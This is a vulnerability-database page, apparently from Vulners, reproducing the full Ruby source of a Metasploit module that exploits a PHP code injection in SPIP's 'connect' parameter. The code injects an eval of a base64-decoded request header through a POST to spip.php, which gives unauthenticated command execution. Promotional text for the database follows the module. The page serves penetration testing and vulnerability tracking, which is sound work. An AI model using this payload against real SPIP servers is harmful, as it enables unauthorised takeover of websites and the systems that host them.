Lucene search
K

SPIP connect Parameter PHP Injection

🗓️ 15 Jul 2013 14:43:28Reported by Arnaud Pachot, Frederic Cikala, Davy DouhineType 
metasploit
 metasploit
🔗 www.rapid7.com👁 267 Views

This module exploits a PHP code injection in SPIP. The vulnerability exists in the connect parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Spip

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SPIP connect Parameter PHP Injection',
      'Description'    => %q{
        This module exploits a PHP code injection in SPIP. The vulnerability exists in the
        connect parameter and allows an unauthenticated user to execute arbitrary commands
        with web user privileges. Branches 2.0, 2.1 and 3 are concerned. Vulnerable versions
        are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and
        has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu
        and Fedora linux distributions.
      },
      'Author'         =>
        [
          'Arnaud Pachot',   #Initial discovery
          'Frederic Cikala', # PoC
          'Davy Douhine'     # PoC and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '83543' ],
          [ 'BID', '54292' ],
          [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-07-04'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),
      ])
  end

  def check
    version = spip_version()

    if version.nil?
      return Exploit::CheckCode::Unknown
    end

    print_status("SPIP Version detected: #{version}")

    if version.between?(Rex::Version::new("2.0.0"), Rex::Version::new("2.0.21"))
      return Exploit::CheckCode::Appears
    elsif version.between?(Rex::Version::new("2.2.0"), Rex::Version::new("2.1.16"))
      return Exploit::CheckCode::Appears
    elsif version.between?(Rex::Version::new("3.0.0"), Rex::Version::new("3.0.03"))
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe

  end

  def exploit
    uri = normalize_uri(target_uri.path, 'spip.php')
    print_status("#{rhost}:#{rport} - Attempting to exploit...")
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'POST',
        'vars_post' => {
          'connect' => "?><? eval(base64_decode($_SERVER[HTTP_CMD])); ?>",
        },
        'headers' => {
          'Cmd' => Rex::Text.encode_base64(payload.encoded)
        }
      })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation